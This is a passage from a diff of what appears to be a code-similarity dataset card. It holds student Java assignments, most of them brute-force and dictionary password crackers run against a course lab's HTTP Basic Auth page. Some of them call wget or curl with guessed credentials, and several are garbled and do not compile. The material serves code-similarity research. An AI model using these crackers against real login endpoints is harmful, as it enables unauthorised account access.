z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\
|
351 |
+
M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"\
|
352 |
+
Z\"};\n\n int l1 = 0;\n\n int l2 = 0;\n\n int l3 = 0;\n \n\
|
353 |
+
\ int retval = 0;\n\n String pwd = \"\";\n\n \n BruteForce\
|
354 |
+
\ s = new BruteForce(); \n String urlToSearch = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
|
355 |
+
; \n \n for (int a = 0; a < 52; a++) {\n\n l1 = a;\n\n \
|
356 |
+
\ pwd = val[l1];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd);\
|
357 |
+
\ \n if (retval > 0) {\n System.exit(0);\n }\n }\n\
|
358 |
+
\n\n for (int b = 0; b < 52; b++) {\n l1 = b;\n for (int c\
|
359 |
+
\ = 0; c < 52; c++) {\n\n l2 = c;\n pwd = val[l1]+ val[l2];\n\
|
360 |
+
\ retval = 0;\n retval = s.runProcess(urlToSearch,pwd); \n\
|
361 |
+
\ if (retval > 0) {\n System.exit(0);\n }\n \
|
362 |
+
\ }\n }\n\n\n for (int d = 0; d < 52; d++) {\n l1 = d;\n \
|
363 |
+
\ for (int e = 0; e < 52; e++) {\n l2 = e;\n for (int\
|
364 |
+
\ f = 0; f < 52; f++) {\n\n l3 = f;\n\n pwd = val[l1]+\
|
365 |
+
\ val[l2]+ val[l3];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd);\
|
366 |
+
\ \n if (retval > 0) {\n System.exit(0);\n \
|
367 |
+
\ }\n }\n }\n }\n\n } \n} \n\n"
|
368 |
+
- "\n \n\n public class Base64Converter\n \n \n {\n\n \
|
369 |
+
\ public static final char [ ] alphabet = {\n 'A', 'B', 'C', 'D', 'E',\
|
370 |
+
\ 'F', 'G', 'H', \n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', \n \
|
371 |
+
\ 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', \n 'Y', 'Z', 'a', 'b', 'c',\
|
372 |
+
\ 'd', 'e', 'f', \n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', \n \
|
373 |
+
\ 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', \n 'w', 'x', 'y', 'z', '0',\
|
374 |
+
\ '1', '2', '3', \n '4', '5', '6', '7', '8', '9', '+', '/' }; \n\n \
|
375 |
+
\ \n \n\n public static String encode ( String s )\n \n \
|
376 |
+
\ {\n return encode ( s.getBytes ( ) );\n }\n\n public static\
|
377 |
+
\ String encode ( byte [ ] octetString )\n \n {\n int bits24;\n\
|
378 |
+
\ int bits6;\n\n char [ ] out\n = new char [ ( ( octetString.length\
|
379 |
+
\ - 1 ) / 3 + 1 ) * 4 ];\n\n int outIndex = 0;\n int i = 0;\n\
|
380 |
+
\n while ( ( i + 3 ) <= octetString.length )\n {\n \n \
|
381 |
+
\ bits24 = ( octetString [ i++ ] & 0xFF ) << 16; \n bits24 |=\
|
382 |
+
\ ( octetString [ i++ ] & 0xFF ) << 8; \n bits24 |= ( octetString [\
|
383 |
+
\ i++ ] & 0xFF ) << 0;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18; \n\
|
384 |
+
\ out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24\
|
385 |
+
\ & 0x0003F000 ) >> 12; \n out [ outIndex++ ] = alphabet [ bits6 ];\n\
|
386 |
+
\ bits6 = ( bits24 & 0x00000FC0 ) >> 6; \n out [ outIndex++\
|
387 |
+
\ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0000003F );\n \
|
388 |
+
\ out [ outIndex++ ] = alphabet [ bits6 ]; \n }\n\n if ( octetString.length\
|
389 |
+
\ - i == 2 )\n {\n \n bits24 = ( octetString [ i \
|
390 |
+
\ ] & 0xFF ) << 16; \n bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<\
|
391 |
+
\ 8;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++\
|
392 |
+
\ ] = alphabet [ bits6 ]; \n bits6 = ( bits24 & 0x0003F000 ) >> 12; \n\
|
393 |
+
\ out [ outIndex++ ] = alphabet [ bits6 ]; \n bits6 = ( bits24\
|
394 |
+
\ & 0x00000FC0 ) >> 6; \n out [ outIndex++ ] = alphabet [ bits6 ];\n\n\
|
395 |
+
\ \n out [ outIndex++ ] = '='; \n }\n else if (\
|
396 |
+
\ octetString.length - i == 1 )\n {\n \n bits24 = ( octetString\
|
397 |
+
\ [ i ] & 0xFF ) << 16;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n \
|
398 |
+
\ out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24\
|
399 |
+
\ & 0x0003F000 ) >> 12; \n out [ outIndex++ ] = alphabet [ bits6 ];\n\
|
400 |
+
\n \n out [ outIndex++ ] = '='; \n out [ outIndex++\
|
401 |
+
\ ] = '='; \n }\n\n return new String ( out );\n }\n\n \n\
|
402 |
+
\ \n}\n\n\n"
|
403 |
+
- "\nimport java.io.*;\nimport java.net.*;\n\npublic class BruteForce\n{\n\n public\
|
404 |
+
\ static void main(String args[])\n {\n StringWriter sw = new StringWriter();\n\
|
405 |
+
\ PrintWriter pw = new PrintWriter();\n int flag=1;\n String[] letter\
|
406 |
+
\ = {\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\
|
407 |
+
M\",\"N\",\n \"O\",\"P\",\"Q\",\"R\",\"T\",\"U\",\"V\"\
|
408 |
+
,\"W\",\"X\",\"Y\",\"Z\",\"a\",\"b\",\"c\",\n \"d\",\"\
|
409 |
+
e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\n\
|
410 |
+
\ \"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\"\
|
411 |
+
,\"\"};\n\n String urlString = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\
|
412 |
+
);\n String thePassword= new String();\n stime = System.currentTimeMillis();\n\
|
413 |
+
System.out.println(\"\");\n for(int i=0; i<letter.length;i++)\n {\n \
|
414 |
+
\ for(int j=0; j<letter.length; j++)\n {\n for(int k=0;flag==1 &&\
|
415 |
+
\ k<letter.length; k++)\n {\n try {\n URL url = new\
|
416 |
+
\ URL (urlString);\n thePassword=letter[i].trim()+letter[j].trim()+letter[k].trim();\n\
|
417 |
+
\n String userPassword = \"\" + \":\" + thePassword;\n\n \
|
418 |
+
\ String encoding = new url.misc.BASE64Encoder().encode(userPassword.getBytes());\n\
|
419 |
+
\ URLConnection uc = url.openConnection();\n uc.setRequestProperty(\"\
|
420 |
+
Authorization\", \" \" + encoding);\n InputStream content = (InputStream)uc.getContent();\n\
|
421 |
+
\ endtime = System.currentTimeMillis();\n BufferedReader\
|
422 |
+
\ in =\n new BufferedReader (new InputStreamReader (content));\n\
|
423 |
+
\ String line;\n while ((line = in.readLine()) != null)\
|
424 |
+
\ {\n pw.println (line);\n }\n flag=0;\n \
|
425 |
+
\ System.out.println(\"process time is : \" +(endtime-stime)/1000 +\" seconds.\"\
|
426 |
+
);\n }catch (MalformedURLException e) {\n\n flag=1;\n \
|
427 |
+
\ }catch (IOException e) {\n\n flag=1;\n }\n }\n\
|
428 |
+
\ if(flag==0)\n break;\n else\n System.out.println(\"\
|
429 |
+
letter j ->\"+ letter[j]+\" elapsed\");\n }\n if(flag==0)\n \
|
430 |
+
\ break;\n else\n System.out.println(\"letter i ->\"+ letter[i]+\"\
|
431 |
+
\ elapsed\");\n }\n System.out.println(\"content is \"+ sw.toString());\n\
|
432 |
+
\ }\n }"
|
433 |
+
- source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\n\
|
434 |
+
import javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n\
|
435 |
+
{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\
|
436 |
+
\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\
|
437 |
+
\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader\
|
438 |
+
\ inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection =\
|
439 |
+
\ null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader(\"words\"\
|
440 |
+
);\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(\" cracking....\"\
|
441 |
+
);\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\
|
442 |
+
\n\t\t\t\tcmd = \"wget --http-user= --http-passwd=\"+word +\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
|
443 |
+
;\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\
|
444 |
+
\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\
|
445 |
+
\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith(\"Required\"))\n\t\t\t\t\t\t{\n\n\t\t\
|
446 |
+
\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\
|
447 |
+
\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch\
|
448 |
+
\ (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\
|
449 |
+
\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n \
|
450 |
+
\ catch (NullPointerException ex)\n {\n System.out.println(word);\n\
|
451 |
+
\ }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\
|
452 |
+
\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e)\
|
453 |
+
\ {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println(\"The password is\
|
454 |
+
\ :\" + word);\n else\n System.out.println(\"NOT FOUND!\");\n\
|
455 |
+
\t}\n}"
|
456 |
+
sentences:
|
457 |
+
- "\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\nimport\
|
458 |
+
\ java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\n\npublic class Dictionary\
|
459 |
+
\ {\n \n public Dictionary(String url, String dictionaryFile) {\n try{\n\
|
460 |
+
\ this.url = url;\n this.dictionaryPath = dictionaryFile;\n InputStream\
|
461 |
+
\ fis = new FileInputStream(this.dictionaryPath);\n dict = new BufferedReader(new\
|
462 |
+
\ InputStreamReader(fis));\n\n }catch(IOException ioe){\n System.out.println(\"\
|
463 |
+
Error opening dictionary file:\\n\" +ioe);\n }\n }\n\n\n \n private String\
|
464 |
+
\ url = null;\n \n private String dictionaryPath = null;\n \n private BufferedReader\
|
465 |
+
\ dict = null;\n \n private int attempts = 0;\n \n private int passwordSize\
|
466 |
+
\ = 3;\n \n public void setPasswordSize(int size){\n this.passwordSize\
|
467 |
+
\ = size;\n }\n \n public String getNextPassword()throws IOException{\n\n \
|
468 |
+
\ String line = dict.readLine();\n\n while(line!=null&&line.length()!=this.passwordSize\
|
469 |
+
\ )\n line = dict.readLine();\n\n return line;\n }\n \n public String\
|
470 |
+
\ crackPassword(String user) throws IOException, MalformedURLException{\n URL\
|
471 |
+
\ url = null;\n URLConnection urlConnection = null;\n String outcome = null;\n\
|
472 |
+
\ String authorization = null;\n String password = null;\n BASE64Encoder\
|
473 |
+
\ b64enc = new BASE64Encoder();\n InputStream content = null;\n BufferedReader\
|
474 |
+
\ in = null;\n\n\n while(!\"HTTP/1.1 200 OK\".equalsIgnoreCase(outcome)){\n\
|
475 |
+
\n url = new URL(this.url);\n urlConnection = url.openConnection();\n\
|
476 |
+
\ urlConnection.setDoInput(true);\n urlConnection.setDoOutput(true);\n\
|
477 |
+
\n\n urlConnection.setRequestProperty(\"GET\", url.getPath() + \" HTTP/1.1\"\
|
478 |
+
);\n urlConnection.setRequestProperty(\"Host\", url.getHost());\n password\
|
479 |
+
\ = getNextPassword();\n if(password == null)\n return null;\n \
|
480 |
+
\ System.out.print(password);\n authorization = user + \":\" + password;\n\
|
481 |
+
\n\n urlConnection.setRequestProperty(\"Authorization\", \" \"+ b64enc.encode(authorization.getBytes()));\n\
|
482 |
+
\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n this.attempts\
|
483 |
+
\ ++;\n urlConnection = null;\n url = null;\n \n if(this.attempts%51\
|
484 |
+
\ == 0)\n for(int b = 0; b < 53;b++)\n System.out.print(\"\\b\
|
485 |
+
\ \\b\");\n else\n System.out.print(\"\\b\\b\\b.\");\n\n\n }\n\
|
486 |
+
\ return password;\n }\n \n public int getAttempts(){\n return this.attempts;\n\
|
487 |
+
\ }\n public static void main (String[] args) {\n if(args.length != 3){\n\
|
488 |
+
\ System.out.println(\"usage: java attacks.Dictionary <url crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/>\
|
489 |
+
\ <username: e.g. > <dictionary: e.g. /usr/share/lib/dict/words>\");\n System.exit(1);\n\
|
490 |
+
\ }\n\n Dictionary dictionary1 = new Dictionary(args[0], args[2]);\n \
|
491 |
+
\ try{\n Calendar cal1=null, cal2=null;\n cal1 = Calendar.getInstance();\n\
|
492 |
+
\ System.out.println(\"Cracking started at: \" + cal1.getTime().toString());\n\
|
493 |
+
\ String password = dictionary1.crackPassword(args[1]);\n if(password\
|
494 |
+
\ != null)\n System.out.println(\"\\nPassword is: \"+password);\n \
|
495 |
+
\ else\n System.out.println(\"\\nPassword could not retrieved!\");\n \
|
496 |
+
\ cal2 = Calendar.getInstance();\n System.out.println(\"Cracking finished\
|
497 |
+
\ at: \" + cal2.getTime().toString());\n Date d3 = new Date(cal2.getTime().getTime()\
|
498 |
+
\ - cal1.getTime().getTime());\n System.out.println(\"Total Time taken crack:\
|
499 |
+
\ \" + (d3.getTime())/1000 + \" sec\");\n System.out.println(\"Total attempts\
|
500 |
+
\ : \" + dictionary1.getAttempts());\n\n }catch(MalformedURLException mue){\n\
|
501 |
+
\ mue.printStackTrace();\n }\n\n catch(IOException ioe){\n ioe.printStackTrace();\n\
|
502 |
+
\ }\n }\n}"
|
503 |
+
- "import java.io.*;\nimport java.net.*;\nimport java.security.*;\nimport java.math.*;\n\
|
504 |
+
import java.*;\nimport java.util.*;\n\n\npublic class BruteForce\n{\n public\
|
505 |
+
\ static void main (String args[]) throws Exception {\n\tString retVal = null,\
|
506 |
+
\ StatusCode = \"HTTP/1.1 200 OK\";\n int found = 0, count = 0, ctrl = 0, flag\
|
507 |
+
\ = 0;\n\n\n stime = System.currentTimeMillis();\n char[] c =\
|
508 |
+
\ new char[3];\n System.out.println(\"Cracking password by Brute Force...\"\
|
509 |
+
);\n\n\t for(int i=65; ((i<123) && (found == 0)); i++)\n\t {\n\t \
|
510 |
+
\ for(int j=65; ((j<123) && (found == 0)); j++)\n\t {\n\t for (int\
|
511 |
+
\ k=65; ((k<123) && (found == 0)); k++)\n\t {\n try {\n\
|
512 |
+
\ if (ctrl == 0) {\n c[0] = '\\0';\n \
|
513 |
+
\ c[1] = '\\0';\n } else if ((ctrl == 1)\
|
514 |
+
\ && (flag == 0)) {\n c[0] = '\\0';\n }\n\
|
515 |
+
\ c[2] = (char)(k);\n\n\t \n \
|
516 |
+
\ URL yahoo = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n \
|
517 |
+
\ URLConnection yc = yahoo.openConnection();\n\n \
|
518 |
+
\ \n String authString = \":\" + String.valueOf();\n \
|
519 |
+
\ String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes());\n\
|
520 |
+
\ yc.setRequestProperty(\"Authorization\", \" \" + auth);\n\
|
521 |
+
\ count++;\n\n \n BufferedReader\
|
522 |
+
\ in = new BufferedReader(\n new InputStreamReader(\n\
|
523 |
+
\ yc.getInputStream()));\n\n \
|
524 |
+
\ String inputLine;\n while ((inputLine = in.readLine())\
|
525 |
+
\ != null){\n System.out.println(inputLine);\n \
|
526 |
+
\ etime = System.currentTimeMillis();\n \
|
527 |
+
\ System.out.println(\"Password found -- \" + String.valueOf());\n \
|
528 |
+
\ System.out.println(\"Time used = \" + ((etime - stime)/1000)\
|
529 |
+
\ + \" sec\");\n System.out.println(\"# of attempt =\
|
530 |
+
\ \" + count);\n System.out.println(\"End of cracking!\"\
|
531 |
+
);\n found = 1;\n }\n \
|
532 |
+
\ in.print();\n\n\t } catch (Exception ex) {}\n\t }\n\t\
|
533 |
+
\ ctrl = 1;\n c[1] = (char)(j);\n }\n \
|
534 |
+
\ ctrl = 2;\n flag = 1;\n c[0] = (char)(i);\n }\n\
|
535 |
+
\ if (found == 0){\n System.out.println(\"Sorry, password found.\"\
|
536 |
+
);\n System.out.println(\"# of attempt = \" + count);\n System.out.println(\"\
|
537 |
+
End of cracking!\");\n }\n }\n}"
|
538 |
+
- "\n\nimport java.net.*;\nimport java.io.*;\n\nimport java.*;\nimport java.util.*;\n\
|
539 |
+
\npublic class Dictionary {\n\n private static String commandLine = \"curl http://sec-crack.cs.rmit.edu./SEC/2/index.php\
|
540 |
+
\ -I -u :\";\n private String password; \n private String previous;\
|
541 |
+
\ \n private String url; \n private int startTime;\n\
|
542 |
+
\ private int endTime;\n private int totalTime;\n private float averageTime;\n\
|
543 |
+
\ private boolean finish;\n private Process curl;\n private BufferedReader\
|
544 |
+
\ bf, responseLine;\n\n public Dictionary() {\n\n first();\n finish = true;\
|
545 |
+
\ \n previous = \"\"; \n\
|
546 |
+
\ Runtime run = Runtime.getRuntime();\n startTime =new Date().getTime(); \
|
547 |
+
\ \n int i=0;\n try {\n try {\n bf = new BufferedReader(new FileReader(\"\
|
548 |
+
words\"));\n }\n catch(FileNotFoundException notFound) {\n bf = new BufferedReader(new\
|
549 |
+
\ FileReader(\"/usr/share/lib/dict/words\"));\n }\n\n while((password = bf.readLine())\
|
550 |
+
\ != null) {\n if(password.length()>3) password = password.substring(0,3);\n\
|
551 |
+
\ if(previous.equals(password)) ;\n else {\n previous = password;\n \
|
552 |
+
\ url = commandLine+password;\n curl= run.exec(url); \n\
|
553 |
+
\ responseLine=new BufferedReader(new InputStreamReader(curl.getInputStream()));\n\
|
554 |
+
\ \n if(responseLine.readLine().substring(9,12).equals(\"200\")) break;\n\
|
555 |
+
\ }\n }\n }\n catch(IOException ioe) {\n System.out.println(\"\\n IO\
|
556 |
+
\ Exception! \\n\");\n System.out.println(\"The current url is:\"+ url);\n\
|
557 |
+
\ System.out.println(\"The current trying password is:\"+password);\n finish=false;\n\
|
558 |
+
\ }\n\n endTime = new Date().getTime(); \n totalTime = (endTime-startTime)/1000;\n\
|
559 |
+
\ System.out.println(\" The response time is:\"+ totalTime + \" seconds\\\
|
560 |
+
n\");\n if(finish) {\n System.out.println(\" The password for is:\"+ password);\n\
|
561 |
+
\ try {\n savePassword(password, totalTime);\n }\n catch (IOException\
|
562 |
+
\ ioec) {\n System.out.println(\" not save the password file Dictionary_pwd.txt\
|
563 |
+
\ \");\n }\n }\n }\n\n\n public void savePassword(String passwdString, int\
|
564 |
+
\ time) throws IOException {\n DataOutputStream outputStream = new DataOutputStream(new\
|
565 |
+
\ FileOutputStream(\"Dictionary_pwd.txt\"));\n outputStream.writeChars(\"The\
|
566 |
+
\ password is:\");\n outputStream.writeChars(passwdString+\"\\n\");\n outputStream.writeChars(\"\
|
567 |
+
The response time is: \");\n outputStream.writeChars(sw.toString(time));\n outputStream.writeChars(\"\
|
568 |
+
\ seconds\\n\");\n outputStream.close();\n }\n\n public void first() {\n\n\
|
569 |
+
\ System.out.println(\"\\n\\n----------------------------------------------\"\
|
570 |
+
);\n System.out.println(\" Use curl command and dictionary \");\n System.out.println(\"\
|
571 |
+
\ Brute Force the password for user \");\n System.out.println(\"----------------------------------------------\"\
|
572 |
+
);\n }\n\n public static void main(String[] args) {\n new Dictionary();\n\
|
573 |
+
\ } \n}\n"
|
574 |
+
- source_sentence: "\n\nimport java.net.*;\nimport java.io.*;\nimport java.io.BufferedReader;\n\
|
575 |
+
import java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.IOException;\n\
|
576 |
+
import java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport\
|
577 |
+
\ java.util.*;\nimport java.*;\n\n\npublic class Dictionary {\n public static\
|
578 |
+
\ void main(String[] args) throws Exception {\n String pass;\n int\
|
579 |
+
\ attempt = 0;\n String fileName = \"words.txt\", line;\n BufferedReader\
|
580 |
+
\ reader;\n Dictionary dict = new Dictionary();\n boolean flag=false;\n\
|
581 |
+
\n System.out.println(System.currentTimeMillis()/1000);\n\n try{\n\
|
582 |
+
\ reader = new BufferedReader(new InputStreamReader(new FileInputStream(fileName)));\n\
|
583 |
+
\ while (!flag)\n {\n try{\n line = reader.readLine();\n\
|
584 |
+
\ attempt++;\n URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\
|
585 |
+
);\n URLConnection yc = url.openConnection();\n pass\
|
586 |
+
\ = \":\" + line;\n String password = new url.misc.BASE64Encoder().encode(pass.getBytes());\n\
|
587 |
+
\ yc.setRequestProperty(\"Authorization\",\" \"+password);\n \
|
588 |
+
\ BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));\n\
|
589 |
+
\ String inputLine;\n while ((inputLine = in.readLine())\
|
590 |
+
\ != null)\n System.out.println(inputLine);\n \
|
591 |
+
\ in.close();\n System.out.println(pass);\n flag=true;\n\
|
592 |
+
\ System.out.println(System.currentTimeMillis()/1000); \n \
|
593 |
+
\ System.out.println(\" of attempt: \"+attempt);\n System.exit(0);\n\
|
594 |
+
\ }catch(IOException e){\n \n }\n \
|
595 |
+
\ } \n }catch(FileNotFoundException e){\n System.out.println(\"\
|
596 |
+
File not found\");\n\n }\n }\n}"
|
597 |
+
sentences:
|
598 |
+
- "import java.io.*;\nimport java.net.*;\nimport java.util.*;\n\npublic class Watchdog\n\
|
599 |
+
{\n\tpublic static void main(String args[])\n\t{\n\t\t\n\t\tString mainLink=\"\
|
600 |
+
http://www.cs.rmit.edu./students/\";\n\t\tString sender = \"@cs.rmit.edu.\";\n\
|
601 |
+
\t\tString recipient = \"<webtech@acuneeds.>\";\n\t\tString hostName = \"yallara.cs.rmit.edu.\"\
|
602 |
+
;\n\t\tint delay = 86400000;\n\n\t\ttry\n\t\t{\n\t\t\tint imgSrcIndex, imgSrcEnd;\n\
|
603 |
+
\t\t\tString imgLink;\n\t\t\tVector imageList = new Vector();\n\t\t\tHttpURLConnection\
|
604 |
+
\ imgConnection;\n\t\t\tURL imgURL;\n\n\t\t\t\n\t\t\tEmailClient email = new EmailClient(sender,\
|
605 |
+
\ recipient, hostName);\n\n\t\t\t\n\t\t\tURL url=new URL(mainLink);\n\t\t\tHttpURLConnection\
|
606 |
+
\ connection = (HttpURLConnection) url.openConnection();\n\n\t\t\tBufferedReader\
|
607 |
+
\ webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n\
|
608 |
+
\n\t\t\t\n\t\t\tFileWriter fwrite = new FileWriter(\"local.txt\");\n\t\t\tBufferedWriter\
|
609 |
+
\ writefile = new BufferedWriter(fwrite);\n\n\t\t\tString line=webpage.readLine();\n\
|
610 |
+
\n\t\t\twhile (line != null)\n\t\t\t{\n\t\t\t\t\n\t\t\t\twritefile.write(line,0,line.length());\n\
|
611 |
+
\t\t\t\twritefile.newLine();\n\n\t\t\t\t\n\t\t\t\tline = line.toLowerCase();\n\
|
612 |
+
\t\t\t\timgSrcIndex=line.indexOf(\"src\");\n\n\t\t\t\tif(imgSrcIndex!=-1)\n\t\t\
|
613 |
+
\t\t{\n\t\t\t\t\t\n\t\t\t\t\timgLink = line.substring(imgSrcIndex+3);\n\t\t\t\t\
|
614 |
+
\timgSrcIndex=imgLink.indexOf(\"\\\"\");\n\t\t\t\t\timgLink = imgLink.substring(imgSrcIndex+1);\n\
|
615 |
+
\t\t\t\t\timgSrcEnd = imgLink.indexOf(\"\\\"\");\n\t\t\t\t\timgLink = imgLink.substring(0,imgSrcEnd);\n\
|
616 |
+
\n\t\t\t\t\t\n\t\t\t\t\tif (imgLink.startsWith(\"http\"))\n\t\t\t\t\t{\n\t\t\t\
|
617 |
+
\t\t\timgURL = new URL(imgLink);\n\t\t\t\t\t\timgConnection = (HttpURLConnection)\
|
618 |
+
\ imgURL.openConnection();\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\telse\n\t\t\t\t\t\
|
619 |
+
{\n\t\t\t\t\t\timgURL = new URL(mainLink);\n\t\t\t\t\t\timgURL = new URL(imgURL,\
|
620 |
+
\ imgLink);\n\t\t\t\t\t\timgConnection = (HttpURLConnection) imgURL.openConnection();\n\
|
621 |
+
\t\t\t\t\t\timgLink = (imgConnection.getURL()).toString();\n\t\t\t\t\t}\n\n\t\t\
|
622 |
+
\t\t\t\n\t\t\t\t\timageList.add(new ImageFile(imgLink, imgConnection.getContentLength()));\n\
|
623 |
+
\t\t\t\t\timgConnection.disconnect();\n\t\t\t\t}\n\n\t\t\t\tline = webpage.readLine();\n\
|
624 |
+
\n\t\t\t}\n\n\t\t\t\n\t\t\twritefile.close();\n\t\t\tfwrite.close();\n\t\t\twebpage.close();\n\
|
625 |
+
\t\t\tconnection.disconnect();\n\n\t\t\t\n\t\t\tWatchdogThread watchdog = new\
|
626 |
+
\ WatchdogThread(mainLink, imageList, email, delay);\n\t\t}\n\n\t\tcatch (IOException\
|
627 |
+
\ ioe)\n\t\t{\n\t\t\t\n\t\t\t\n\t\t\tSystem.out.println(ioe);\n\t\t\tSystem.out.println(\"\
|
628 |
+
Please run program again.\");\n\t\t\tSystem.exit(0);\n\t\t}\n\n\t}\n\n}\n"
|
629 |
+
- "import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary {\n private\
|
630 |
+
\ String strUserName;\n private String strURL;\n private String strDictPath;\n\
|
631 |
+
\ private int iAttempts;\n\n \n public Dictionary(String strURL,String\
|
632 |
+
\ strUserName,String strDictPath) {\n this.strURL = strURL;\n this.strUserName\
|
633 |
+
\ = strUserName;\n this.iAttempts = 0 ;\n this.strDictPath = strDictPath;\n\
|
634 |
+
\ }\n \n\n public String getPassword(){\n URL u;\n String result\
|
635 |
+
\ =\"\";\n PassGenDict PG = new PassGenDict(3,strDictPath);\n URLConnection\
|
636 |
+
\ uc;\n String strPassword = new String();\n String strEncode;\n \
|
637 |
+
\ try{\n while (result.compareTo(\"HTTP/1.1 200 OK\")!=0){\n \n\
|
638 |
+
\ strEncode = PG.getNewPassword();\n u = new URL(strURL);\n\
|
639 |
+
\ uc = u.openConnection();\n uc.setDoInput(true);\n \
|
640 |
+
\ uc.setDoOutput(true);\n strPassword = strEncode;\n strEncode\
|
641 |
+
\ = strUserName + \":\" + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n\
|
642 |
+
\ uc.setRequestProperty(\"Authorization\",\" \" + strEncode);\n \
|
643 |
+
\ \n result = uc.getHeaderField(0);\n uc = null;\n \
|
644 |
+
\ u = null;\n iAttempts++;\n }\n\n }\n catch (Exception\
|
645 |
+
\ me) {\n System.out.println(\"MalformedURLException: \"+me);\n }\n\
|
646 |
+
\ return(strPassword);\n }\n \n public int getAttempts(){\n return\
|
647 |
+
\ (iAttempts);\n };\n \n public static void main(String arg[]){\n timeStart\
|
648 |
+
\ = 0;\n timeEnd = 0;\n \n if (arg.length == 3) {\n Dictionary BF\
|
649 |
+
\ = new Dictionary(arg[0],arg[1],arg[2]);\n\n System.out.println(\"Processing\
|
650 |
+
\ ... \");\n timeStart = System.currentTimeMillis();\n System.out.println(\"\
|
651 |
+
Password = \" + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n\
|
652 |
+
\ System.out.println(\"Total Time Taken = \" + (timeEnd - timeStart) + \" (msec)\"\
|
653 |
+
);\n System.out.println(\"Total Attempts = \" + BF.getAttempts());\n }\n\
|
654 |
+
\ else {\n System.out.println(\"[Usage] java BruteForce <URL> <USERNAME>\
|
655 |
+
\ <Dictionary path>\");\n\n }\n\n }\n}\n\n\nclass PassGenDict {\n\n private\
|
656 |
+
\ char[] password;\n private String line;\n int iPassLenght;\n private BufferedReader\
|
657 |
+
\ inputFile;\n public PassGenDict(int lenght, String strDictPath) {\n try{\n\
|
658 |
+
\ inputFile = new BufferedReader(new FileReader(strDictPath));\n }\n \
|
659 |
+
\ catch (Exception e){\n }\n iPassLenght = lenght;\n }\n \n public\
|
660 |
+
\ String getNewPassword()\n throws PasswordFailureException{\n try {\n \
|
661 |
+
\ {\n line = inputFile.readLine();\n }while (line.length() !=\
|
662 |
+
\ iPassLenght);\n\n }\n catch (Exception e){\n throw new PasswordFailureException\
|
663 |
+
\ ();\n }\n return (line);\n }\n}\n\nclass PasswordFailureException extends\
|
664 |
+
\ RuntimeException {\n\n public PasswordFailureException() {\n }\n}"
|
665 |
+
- "\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class\
|
666 |
+
\ Dictionary{\n\n private static URL location;\n private static String user;\n\
|
667 |
+
\ private BufferedReader input;\n private static BufferedReader dictionary;\n\
|
668 |
+
\ private int maxLetters = 3;\n\n \n\n public Dictionary() {\n \n \
|
669 |
